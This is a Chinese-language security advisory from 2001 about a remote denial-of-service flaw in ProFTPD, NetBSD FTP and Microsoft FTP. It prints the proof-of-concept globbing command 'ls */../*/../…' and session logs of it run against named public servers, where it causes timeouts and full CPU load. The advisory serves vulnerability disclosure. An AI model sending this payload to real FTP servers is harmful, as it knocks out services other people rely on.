多个FTP守护程序存在拒绝服务攻击

发布时间：2001-03-16
更新时间：2001-03-16
严重程度：中
威胁程度：远程拒绝服务
错误类型：输入验证错误
利用方式：服务器模式

受影响系统

Proftpd
Netbsd FTP
Microsoft FTP

详细描述
多个FTP守护程序存在拒绝服务攻击

Proftpd的'ls'命令存在错误可以导致拒绝服务攻击：

$ ftp ftp.proftpd.org
....
Name (ftp.proftpd.org:j): ftp
....
230 Anonymous access granted, restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
227 Entering Passive Mode (216,10,40,219,4,111).
421 Service not available, remote server timed out. Connection closed

会导致服务器的CPU达到100%.

其他NETBSD FTP也存在此问题：

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
200 EPRT command successful.
(long delay)
421 Service not available, remote server timed out. Connection closed

Microsoft FTP服务也存在此问题，如：

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
500 'EPSV': command not understood
227 Entering Passive Mode (207,46,133,140,4,223).
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
(很长的一段时间等待)

- Publicfile refuses the command :

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
227 =131,193,178,181,97,222
550 Sorry, I can't open that file: file does not exist.

测试代码
见描述部分。

解决方案
尚无

相关信息
此信息有Frank DENIS aka Jedi/Sector One < spam@jedi.claranet.fr >发布。

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多个FTP守护程序存在拒绝服务攻击